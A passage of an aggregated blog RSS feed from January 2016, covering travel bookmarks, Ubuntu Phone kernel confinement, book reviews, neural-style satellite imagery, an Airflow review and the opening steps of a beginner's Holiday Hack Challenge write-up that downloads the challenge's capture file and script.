&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 07 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/northern-lights-travel-bookmarks</guid></item><item><title>Seccomp filters on the Ubuntu Phone</title><link>https://kyrofa.com/posts/seccomp-filters-on-the-ubuntu-phone/</link><description>The officially-supported Ubuntu Phones run pretty old kernels. The Nexus 4 and BQ phones all run v3.4, and the Meizu MX4 runs v3.10. Device kernels typically lag a bit behind since so much effort goes into making them compatible with the hardware, but this posed a bit of a complication since the Click confinement model utilizes features of AppArmor v3, which isn&amp;rsquo;t even released yet. However, we like to push the envelope here at Canonical, so we backported it into our phone kernels anyway.</description><author>kyrofa's blog</author><pubDate>Thu, 07 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/seccomp-filters-on-the-ubuntu-phone/</guid></item><item><title>Janathon 2016 #6 - Slow Boat To Home</title><link>https://rjp.is/blogging/posts/janathon-2016-6-slow-boat-to-home-2/</link><description>Well, not a boat, but Shanks&amp;rsquo;s Pony (look it up.)
With the world&amp;rsquo;s tiniest game of football (ok, I kicked a ball back to someone by Island Gardens DLR) and a very brief stop in Greenwich Superdrug for some protein snacks.
All whilst carrying 2kg of biltong. I tell you, it&amp;rsquo;s 24/7 non-stop literally all out party time excitement.
[Biltong carrying trundle]</description><author>infrequent oscillations</author><pubDate>Thu, 07 Jan 2016 01:06:28 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-6-slow-boat-to-home-2/</guid></item><item><title>How to make a blog like this</title><link>https://bytepawn.com/how-to-make-a-blog-like-this.html</link><description>&lt;p&gt;Make a simple blog with Github Pages and Pelican.&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Thu, 07 Jan 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/how-to-make-a-blog-like-this.html</guid></item><item><title>The Really Smart Home vs the Internet of Stupid Things</title><link>https://stop.zona-m.net/2016/01/the-really-smart-home-vs-the-internet-of-stupid-things/</link><description>&lt;p&gt;Internet of Things. Smart homes. Smart appliances. Smart everything. How smart is the &lt;strong&gt;result?&lt;/strong&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 06 Jan 2016 17:06:25 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/01/the-really-smart-home-vs-the-internet-of-stupid-things/</guid></item><item><title>Mexico travel bookmarks</title><link>https://xenodium.com/mexico-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.lonelyplanet.com/amp/articles/best-places-to-visit-in-mexico"&gt;15 best places to visit in Mexico&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.corazondepuebla.com.mx/acatepec.html"&gt;San Francisco Acatepec&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 06 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/mexico-travel-bookmarks</guid></item><item><title>Books of 2015</title><link>https://bastibe.de/2016-01-06-books-of-2015.html</link><description>&lt;h2&gt;&lt;a href="https://www.goodreads.com/book/show/8706185-among-others"&gt;Among Others&lt;/a&gt;, by Jo Walton&lt;/h2&gt;
&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/d/d1/Among_Others_%28Jo_Walton_novel%29.jpg" width="150px" /&gt;
&lt;/figure&gt;

&lt;p&gt;I don't usually enjoy fantasy novels and their romantic escapism. I much prefer fascinating sci-fi thought experiments. But this book won all the most important awards, so I gave it a shot. What if random chance could be bent a little with creativity, the power of believing in something, and some mysticism? You end up with a world that is richer, more meaningful, and altogether more alive, if you just cared to observe and to appreciate it's beauty. Reading this book left me enchanted and more observant long after I put it down. What a wonderful book!&lt;/p&gt;
&lt;h2&gt;&lt;a href="https://www.goodreads.com/book/show/7073.A_Son_of_the_Circus"&gt;A Son of the Circus&lt;/a&gt;, by John Irving&lt;/h2&gt;
&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/e/e7/ASonOfTheCircus.JPG" width="150px" /&gt;
&lt;/figure&gt;

&lt;p&gt;This is one of those books that was on my to-read list for months. It starts out as quirky and likeable as you would expect from John Irving. This time, we follow the tale of a Canadian/Indian doctor throughout his life, and his summer vacation in India. But this would not be John Irving if there weren't plenty of colourful characters, astute observations of human strangeness, and a meticulously crafted story. There is no scene in this book that does not serve a purpose, and so many moving parts my mind just boggles at the construction of it all. Yet at the same time, I was regularly laughing out loud. I loved every minute of this!&lt;/p&gt;
&lt;h2&gt;&lt;a href="https://www.goodreads.com/book/show/6597651-the-windup-girl"&gt;The Windup Girl&lt;/a&gt;, by Paolo Bacigalupi&lt;/h2&gt;
&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/1/1f/Wind_up.jpg" width="150px" /&gt;
&lt;/figure&gt;

&lt;p&gt;The whole world changed in the near future, when gasoline is a rare luxury, sea levels have risen and swallowed all the coastal cities, and man-made scourges have devastated most crops. And now it's not just humans that populate our urbanized world, but so too are our inventions, artificial humans called &amp;quot;windups&amp;quot; for their stutter-stop movements. But at the core, both humans and windups struggle for the same security, prosperity as ever. Such an inventive world, so much vivid creativity, social commentary, in this human struggle to not destroy ourselves.&lt;/p&gt;
&lt;h2&gt;&lt;a href="https://www.goodreads.com/book/show/629.Zen_and_the_Art_of_Motorcycle_Maintenance"&gt;Zen and the art of motorcycle maintenance&lt;/a&gt;, by Robert Pirsig&lt;/h2&gt;
&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/8/85/Zen_motorcycle.jpg" width="150px" /&gt;
&lt;/figure&gt;

&lt;p&gt;This is about equal parts a motorcycle journey of a father and his son across the US, and a dive into another man's discoveries of philosophy. To be honest, I liked this book more for it's character descriptions and travelling adventures than it's philosophy. I am really conflicted about putting this book on this list at all, but I kept thinking about this long after I finished reading it, so I guess this had a bigger influence on me than I realized.&lt;/p&gt;
&lt;h2&gt;Nexus/Crux/Apex, Rad/Blue/Green Mars, The Martian, The Three-Body Problem&lt;/h2&gt;
&lt;p&gt;What happens when you take today's world, and add nanotech brain upgrades (Nexus/Crux/Apex), or strand a lone scientist on Mars (The Martian), or send a large number of people to found a new colony on Mars (Red/Blue/Green Mars), or suddenly make contact with Aliens (The Three-Body Problem)? This what-if is what Science Fiction does best: Take this little what-if, and spin a gripping yarn from that. These books inspired me, made me think, were incredibly thrilling, but they did not have a lasting impact. Still well worth a read if you like Science Fiction, though.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 06 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-01-06-books-of-2015.html</guid></item><item><title>Generating Realistic Satellite Imagery with Deep Neural Networks</title><link>https://www.hallada.net/2016/01/06/neural-style.html</link><description>&lt;p&gt;I’ve been doing a lot of experimenting with &lt;a href="https://github.com/jcjohnson/neural-style"&gt;neural-style&lt;/a&gt;
the last month. I think I’ve discovered a few exciting applications of the
technique that I haven’t seen anyone else do yet. The true power of this
algorithm really shines when you can see concrete examples.
&lt;!--excerpt--&gt;&lt;/p&gt;

&lt;p&gt;Skip to the &lt;strong&gt;Applications&lt;/strong&gt; part of this post to see the outputs from my
experimentation if you are already familiar with DeepDream, Deep Style, and all
the other latest happenings in generating images with deep neural networks.&lt;/p&gt;

&lt;h3 id="background-and-history"&gt;Background and History&lt;/h3&gt;

&lt;p&gt;On &lt;a href="https://medium.com/backchannel/inside-deep-dreams-how-google-made-its-computers-go-crazy-83b9d24e66df#.g4t69y8wy"&gt;May 18, 2015 at 2 a.m., Alexander
Mordvintsev&lt;/a&gt;,
an engineer at Google, did something with deep neural networks that no one had
done before. He took a net designed for &lt;em&gt;recognizing&lt;/em&gt; objects in images and used
it to &lt;em&gt;generate&lt;/em&gt; objects in images. In a sense, he was telling these systems
that mimic the human visual cortex to hallucinate things that weren’t really
there. The &lt;a href="https://i.imgur.com/6ocuQsZ.jpg"&gt;results&lt;/a&gt; looked remarkably like LSD
trips or what a &lt;a href="https://www.reddit.com/r/deepdream/comments/3cewgn/an_artist_suffering_from_schizophrenia_was_told/"&gt;schizophrenic person sees on a blank
wall&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Mordvintsev’s discovery quickly gathered attention at Google once he posted
images from his experimentation on the company’s internal network. On June 17,
2015, &lt;a href="http://googleresearch.blogspot.com/2015/06/inceptionism-going-deeper-into-neural.html"&gt;Google posted a blog post about the
technique&lt;/a&gt;
(dubbed “Inceptionism”) and how it was useful for opening up the notoriously
black-boxed neural networks using visualizations that researchers could examine.
These machine hallucinations were key for identifying the features of objects
that neural networks used to tell one object from another (like a dog from a
cat). But the post also revealed the &lt;a href="https://goo.gl/photos/fFcivHZ2CDhqCkZdA"&gt;beautiful
results&lt;/a&gt; of applying the algorithm
iteratively on it’s own outputs and zooming out at each step.&lt;/p&gt;

&lt;p&gt;The internet exploded in response to this post. And once &lt;a href="http://googleresearch.blogspot.com/2015/07/deepdream-code-example-for-visualizing.html?m=1"&gt;Google posted the code
for performing the
technique&lt;/a&gt;,
people began experimenting and sharing &lt;a href="https://www.reddit.com/r/deepdream"&gt;their fantastic and creepy
images&lt;/a&gt; with the world.&lt;/p&gt;

&lt;p&gt;Then, on August, 26, 2015, a paper titled &lt;a href="http://arxiv.org/abs/1508.06576"&gt;“A Neural Algorithm of Artistic
Style”&lt;/a&gt; was published. It showed how one could
identify which layers of deep neural networks recognized stylistic information
of an image (and not the content) and then use this stylistic information in
Google’s Inceptionism technique to paint other images in the style of any
artist. A &lt;a href="https://github.com/jcjohnson/neural-style"&gt;few&lt;/a&gt;
&lt;a href="https://github.com/kaishengtai/neuralart"&gt;implementations&lt;/a&gt; of the paper were
put up on Github. This exploded the internet again in a frenzy. This time, the
images produced were less like psychedelic-induced nightmares but more like the
next generation of Instagram filters (&lt;a href="https://www.reddit.com/r/deepdream/comments/3jwl76/how_anyone_can_create_deep_style_images/"&gt;reddit
how-to&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;People began to wonder &lt;a href="http://www.hopesandfears.com/hopes/culture/is-this-art/215039-deep-dream-google-art"&gt;what all of this
meant&lt;/a&gt;
to &lt;a href="http://kajsotala.fi/2015/07/deepdream-today-psychedelic-images-tomorrow-unemployed-artists/"&gt;the future of
art&lt;/a&gt;.
Some of the results produced where &lt;a href="https://raw.githubusercontent.com/jcjohnson/neural-style/master/examples/outputs/tubingen_starry.png"&gt;indistinguishable from the style of dead
artists’
works&lt;/a&gt;.
Was this a demonstration of creativity in computers or just a neat trick?&lt;/p&gt;

&lt;p&gt;On November, 19, 2015, &lt;a href="http://arxiv.org/abs/1511.06434"&gt;another paper&lt;/a&gt; was
released that demonstrated a technique for generating scenes from convolutional
neural nets (&lt;a href="https://github.com/Newmu/dcgan_code"&gt;implementation on Github&lt;/a&gt;).
The program could generate random (and very realistic) &lt;a href="https://github.com/Newmu/dcgan_code/raw/master/images/lsun_bedrooms_five_epoch_samples.png"&gt;bedroom
images&lt;/a&gt;
from a neural net trained on bedroom images. Amazingly, it could also generate
&lt;a href="https://github.com/Newmu/dcgan_code/blob/master/images/lsun_bedrooms_five_epochs_interps.png"&gt;the same bedroom from any
angle&lt;/a&gt;.
It could also &lt;a href="https://github.com/Newmu/dcgan_code/blob/master/images/turn_vector.png"&gt;produce images of the same procedurally generated face from any
angle&lt;/a&gt;.
Theoretically, we could use this technology to create &lt;em&gt;procedurally generated
game art&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The main thing holding this technology back from revolutionizing procedurally
generated video games is that it is not real-time. Using
&lt;a href="https://github.com/jcjohnson/neural-style"&gt;neural-style&lt;/a&gt; to apply artistic
style to a 512 by 512 pixel content image could take minutes even on the
top-of-the-line GTX Titan X graphics card. Still, I believe this technology has
a lot of potential for generating game art even if it can’t act as a real-time
filter.&lt;/p&gt;

&lt;h3 id="applications-generating-satellite-images-for-procedural-world-maps"&gt;Applications: Generating Satellite Images for Procedural World Maps&lt;/h3&gt;

&lt;p&gt;I personally know very little machine learning, but I have been able to produce
a lot of interesting results by using the tool provided by
&lt;a href="https://github.com/jcjohnson/neural-style"&gt;neural-style&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Inspired by &lt;a href="http://blog.kaelan.org/randomly-generated-world-map/"&gt;Kaelan’s procedurally generated world
maps&lt;/a&gt;, I wanted to extend
the idea by generating realistic satellite images of the terrain maps. The
procedure is simple: take a &lt;a href="/assets/kaelan_terrain1.png"&gt;generated terrain map&lt;/a&gt;
and apply the style of a &lt;a href="/assets/uk_satellite.jpg"&gt;real-world satellite image&lt;/a&gt;
on it using neural-style.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of generated map plus real-world satellite
imagery" src="/assets/satellite_terrain1_process.png" /&gt;&lt;/p&gt;

&lt;p&gt;The generated output takes on whatever terrain is in the satellite image. Here
is an output processing one of Kaelan’s maps with a &lt;a href="/assets/svalbard_satellite.jpg"&gt;arctic satellite
image&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Kaelan's terrain map" src="/assets/kaelan_terrain2.jpg" /&gt;
&lt;img alt="Output of terrain map plus arctic satellite imagery" src="/assets/satellite_terrain2.png" /&gt;&lt;/p&gt;

&lt;p&gt;And again, with one of Kaelan’s desert maps and a &lt;a href="/assets/desert_satellite.jpg"&gt;satellite image of a
desert&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Kaelan's desert terrain map" src="/assets/kaelan_terrain3.jpg" /&gt;
&lt;img alt="Output of terrain map plus desert satellite imagery" src="/assets/satellite_terrain3.png" /&gt;&lt;/p&gt;

&lt;p&gt;It even works with &lt;a href="http://blog.kaelan.org/hexagon-world-map-generation/"&gt;Kaelan’s generated hexagon
maps&lt;/a&gt;. Here’s an island
hexagon map plus a &lt;a href="/assets/volcano_satellite.jpg"&gt;satellite image of a volcanic
island&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Kaelan's island hexagon map" src="/assets/kaelan_hex_terrain.jpg" /&gt;
&lt;img alt="Output of hexagon map plus island satellite
imagery" src="/assets/satellite_hex_terrain.png" /&gt;&lt;/p&gt;

&lt;p&gt;This image even produced an interesting three-dimensional effect because of the
volcano in the satellite image.&lt;/p&gt;

&lt;p&gt;By the way, this also works with minecraft maps. Here’s a minecraft map I found
on the internet plus a &lt;a href="/assets/river_satellite.png"&gt;satellite image from Google
Earth&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Minecraft map" src="/assets/minecraft_map.jpg" /&gt;
&lt;img alt="Output of minecraft map plus river satellite
imagery" src="/assets/satellite_minecraft_map.png" /&gt;&lt;/p&gt;

&lt;p&gt;No fancy texture packs or 3-D rendering needed :).&lt;/p&gt;

&lt;p&gt;Here is the Fallout 4 grayscale map plus a
&lt;a href="/assets/boston_aerial.jpg"&gt;satellite image of Boston&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Fallout 4 grayscale map" src="/assets/fallout4_map.png" /&gt;
&lt;img alt="Output of Fallout 4 map plus Boston satellite
imagery" src="/assets/satellite_fallout4_map.png" /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, it puts the built-up dense part of the city in the wrong part of
the geographic area. But, this is understandable since we gave the algorithm no
information on where that is on the map.&lt;/p&gt;

&lt;p&gt;We can also make the generated terrain maps look like old hand-drawn maps using
neural-style. With Kaelan’s terrain map as the
content and &lt;a href="/assets/cyrodiil_ingame.jpg"&gt;the in-game Elder Scrolls IV Oblivion map of
Cyrodiil&lt;/a&gt; as the style we get this:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Kaelan's terrain map" src="/assets/kaelan_terrain1.png" /&gt;
&lt;img alt="Output of terrain map plus map of Cyrodiil" src="/assets/cyrodiil_terrain1.png" /&gt;&lt;/p&gt;

&lt;p&gt;It looks cool, but the water isn’t conveyed very clearly (e.g. makes deep water
look like land). Neural-style seems to work better when there is lots of color
in both images.&lt;/p&gt;

&lt;p&gt;Here is the output of the hex terrain plus satellite map above and the Cyrodiil
map which looks a little cleaner:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Satellite-like hex terrain map" src="/assets/satellite_hex_terrain.png" /&gt;
&lt;img alt="Output of hex terrain plus satellite and map of
Cyrodiil" src="/assets/cyrodiil_satellite_hex_terrain.png" /&gt;&lt;/p&gt;

&lt;p&gt;I was interested to see what neural-style could generate from random noise, so I
rendered some clouds in GIMP and ran it with a satellite image of &lt;a href="/assets/mexico_city.jpg"&gt;Mexico City
from Google Earth&lt;/a&gt; (by the way, I’ve been getting high
quality Google Earth shots from
&lt;a href="https://earthview.withgoogle.com"&gt;earthview.withgoogle.com&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img alt="Random clouds" src="/assets/blurry_clouds.png" /&gt;
&lt;img alt="Output of random clouds and Mexico City" src="/assets/random_mexico_city.png" /&gt;&lt;/p&gt;

&lt;p&gt;Not bad for a neural net without a degree in urban planning.&lt;/p&gt;

&lt;p&gt;I also tried generating on random noise with a satellite image of &lt;a href="/assets/treatment_plant.jpg"&gt;a water
treatment plant in Peru&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="Random clouds" src="/assets/blurry_clouds2.png" /&gt;
&lt;img alt="Output of random clouds and water treatment
plant" src="/assets/random_treatment_plant.png" /&gt;&lt;/p&gt;

&lt;h3 id="applications-more-fun"&gt;Applications: More Fun&lt;/h3&gt;

&lt;p&gt;For fun, here are some other outputs that I liked.&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/boston_skyline.jpg"&gt;My photo of Boston’s skyline as the content&lt;/a&gt; and
&lt;a href="/assets/starry_night.jpg"&gt;Vincent van Gogh’s The Starry Night as the style&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of Boston skyline and starry night" src="/assets/starry_boston.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/standing_forest.jpg"&gt;A photo of me&lt;/a&gt; (by Aidan Bevacqua) and &lt;a href="/assets/forrest_autumn.jpg"&gt;Forrest in
the end of Autumn by Caspar David Friedrich&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of me and Forrest in the end of
Autumn" src="/assets/dead_forest_standing.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/sitting_forest.jpg"&gt;Another photo of me by Aidan&lt;/a&gt; in the same style:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of me and Forrest in the end of Autumn" src="/assets/dead_forest_sitting.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/mountain_view.jpg"&gt;A photo of me on a mountain&lt;/a&gt; (by Aidan Bevacqua) and
&lt;a href="/assets/pixels.png"&gt;pixel art by Paul Robertson&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of me on a mountain and pixel art" src="/assets/mountain_view_pixels.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/copenhagen_park.jpg"&gt;A photo of a park in Copenhagen I took&lt;/a&gt; and a
painting similar in composition, &lt;a href="/assets/avenue_poplars.jpg"&gt;Avenue of Poplars at Sunset by Vincent van
Gogh&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of park in Copenhagen and Avenue of Poplars at
Sunset" src="/assets/poplars.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/shenandoah_mountains.jpg"&gt;My photo of the Shenandoah National Park&lt;/a&gt; and
&lt;a href="/assets/halo_ring_mountains.jpg"&gt;this halo graphic from GMUNK&lt;/a&gt;
(&lt;a href="http://www.gmunk.com/filter/Interactive/ORA-Summoners-HALO"&gt;GMUNK&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of Shenandoah mountains and halo ring
mountains" src="/assets/halo_shenandoah.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/me.png"&gt;A photo of me by Aidan&lt;/a&gt; and a &lt;a href="/assets/stained_glass.jpg"&gt;stained glass
fractal&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of me and a stained glass fractal" src="/assets/stained_glass_portrait.png" /&gt;&lt;/p&gt;

&lt;p&gt;Same photo of me and some &lt;a href="/assets/pockets.jpg"&gt;psychedelic art by GMUNK&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of me and psychedelic art" src="/assets/pockets_portrait.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/nyc.jpg"&gt;New York City&lt;/a&gt; and &lt;a href="/assets/rainforest.jpg"&gt;a rainforest&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of New York City and a rainforest" src="/assets/jungle_nyc.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/kowloon.jpg"&gt;Kowloon Walled City&lt;/a&gt; and &lt;a href="/assets/ngs_map.jpg"&gt;a National Geographic
Map&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of Kowloon and NGS map" src="/assets/kowloon_ngs.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/side_portrait.jpg"&gt;A photo of me by Aidan&lt;/a&gt; and &lt;a href="/assets/head_lioness.jpg"&gt;Head of Lioness by
Theodore Gericault&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of photo of me and " src="/assets/lion_portrait.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="/assets/forest_hill.jpg"&gt;Photo I took of a Norwegian forest&lt;/a&gt; and &lt;a href="/assets/mountain_brook.jpg"&gt;The Mountain
Brook by Albert Bierstadt&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Output of Norwegian forest and The Mountain
Brook" src="/assets/mountain_brook_hill.png" /&gt;&lt;/p&gt;

&lt;h3 id="limitations"&gt;Limitations&lt;/h3&gt;

&lt;p&gt;I don’t have infinite money for a GTX Titan X, so I’m stuck with using OpenCL on
my more-than-a-few-generations-old AMD card. It takes about a half-hour to
generate one 512x512 px image in my set-up (which makes the feedback loop for
correcting mistakes &lt;em&gt;very&lt;/em&gt; long). And sometimes the neural-style refuses to run
on my GPU (I suspect it runs out of VRAM), so I have to run it on my CPU which
takes even longer…&lt;/p&gt;

&lt;p&gt;I am unable to generate bigger images (though
&lt;a href="https://github.com/jcjohnson/neural-style/issues/36#issuecomment-142994812"&gt;the author has been able to generate up to 1920x1010
px&lt;/a&gt;).
As the size of the output increases the amount of memory and time to generate
also increases. And, it’s not practical to just generate thumbnails to test
parameters, because increasing the image size will probably generate a very
different image since all the other parameters stay the same even though they
are dependent on the image size.&lt;/p&gt;

&lt;p&gt;Some people have had success running these neural nets on GPU spot instances in
AWS. It would be certainly cheaper than buying a new GPU in the short-term.&lt;/p&gt;

&lt;p&gt;So, I have a few more ideas for what to run, but it will take me quite a while
to get through the queue.&lt;/p&gt;</description><author>Tyler Hallada - Blog</author><pubDate>Wed, 06 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.hallada.net/2016/01/06/neural-style.html</guid></item><item><title>Holiday Hack Challenge 2015 - Write-Up</title><link>https://grh.am/2016/holiday-hack-challenge-2015-write-up/</link><description>&lt;p&gt;This was to be my very first CTF challenge, and what better time to start than during the festive period! Lots of chocolate, alcohol, and mix in a bit of hacking. Perfect to improve my skills and prove my theoretical knowledge hasn&amp;rsquo;t gone to waste.&lt;/p&gt;
&lt;p&gt;So&amp;hellip; lets get started:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download PCAP from &amp;lsquo;Josh&amp;rsquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;wget http://holidayhackchallenge.com/2015/giyh-capture.pcap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;Download Python script from &amp;lsquo;Josh&amp;rsquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;wget http://holidayhackchallenge.com/2015/gnomeitall.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Had to re-order the PCAP due to it throwing an error in Wireshark - 2 packets were out of place.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The hint from one of the NPC&amp;rsquo;s suggested using &lt;a href="http://www.packetstan.com/2011/05/sorting-packet-captures-with-scapy.html"&gt;http://www.packetstan.com/2011/05/sorting-packet-captures-with-scapy.html&lt;/a&gt; which shows how to go about re-ordering the PCAP:&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Wed, 06 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://grh.am/2016/holiday-hack-challenge-2015-write-up/</guid></item><item><title>RADOS object class development activity</title><link>https://makedist.com/posts/2016/01/06/rados-object-class-development-activity/</link><description>Spoiler alert: object classes are &lt;em&gt;HOT&lt;/em&gt;.</description><author>Noah Watkins</author><pubDate>Wed, 06 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2016/01/06/rados-object-class-development-activity/</guid></item><item><title>Airflow review</title><link>https://bytepawn.com/airflow.html</link><description>&lt;p&gt;Airflow is a workflow scheduler written by Airbnb. It supports defining tasks and dependencies as Python code, executing and scheduling them, and distributing tasks across worker nodes. It supports calendar scheduling (hourly/daily jobs, also visualized on the web dashboard), so it can be used as a starting point for traditional ETL. It has a nice web dashboard for seeing current and past task state, querying the history and making changes to metadata such as connection strings.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Airflow" src="/images/airflow-main-view.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Wed, 06 Jan 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/airflow.html</guid></item><item><title>Systems thinking and system traps</title><link>https://bytepawn.com/systems-thinking.html</link><description>&lt;p&gt;Thinking in Systems, written by the late Donella Meadows, is a book about how to think about systems, how to control systems and how systems change and control themselves. A system can be anything from a heating furnace to a social system. The gem of the book is the part about system traps. System traps are ways a system can go wrong; examples are drift to low performance, seeking the wrong goals, shifting the burden, etc.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Thinking in systems" src="/images/thinking-in-systems.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Wed, 06 Jan 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/systems-thinking.html</guid></item><item><title>Janathon 2016 #5 - A trundle t't Curp</title><link>https://rjp.is/blogging/posts/janathon-2016-5-a-trundle-tt-curp-2/</link><description>From work t't Curp I ran With the sounds of a labouring man My knees creaked like biscuits And I leaked like a whippet Until I resembled peach flan About 12km t&amp;rsquo;t Curp</description><author>infrequent oscillations</author><pubDate>Wed, 06 Jan 2016 00:12:16 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-5-a-trundle-tt-curp-2/</guid></item><item><title>Testing Ansible roles</title><link>https://www.zufallsheld.de/2016/01/05/testing-ansible-roles/</link><description>&lt;p&gt;We - at the &lt;a href="https://dev-sec.io/"&gt;dev-sec.io&lt;/a&gt;-team - create Ansible (and Puppet and Chef) roles that harden the security of our Linux-servers.
They are meant to be used in production so we try to provide these roles to several different operating systems, including Debian, Ubuntu, RedHat and its&amp;nbsp;derivates.&lt;/p&gt;
&lt;p&gt;Manually testing the …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Tue, 05 Jan 2016 23:00:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2016/01/05/testing-ansible-roles/</guid></item><item><title>Bit Prepared, 12 years later? On Scouts and Free Software, again</title><link>https://stop.zona-m.net/2016/01/bit-prepared-12-years-later/</link><description>&lt;figure&gt;
  &lt;img alt="Bit Prepared, 12 years later? On Scouts and Free Software, again /img/scoutlinux.png" src="https://stop.zona-m.net//img/scoutlinux.png" width="100%" /&gt;
  &lt;figcaption&gt;
&lt;pre&gt;&lt;code&gt;The logo of the ScoutLinux distribution

&amp;lt;/em&amp;gt;&amp;lt;/u&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/figcaption&gt;
&lt;/figure&gt;
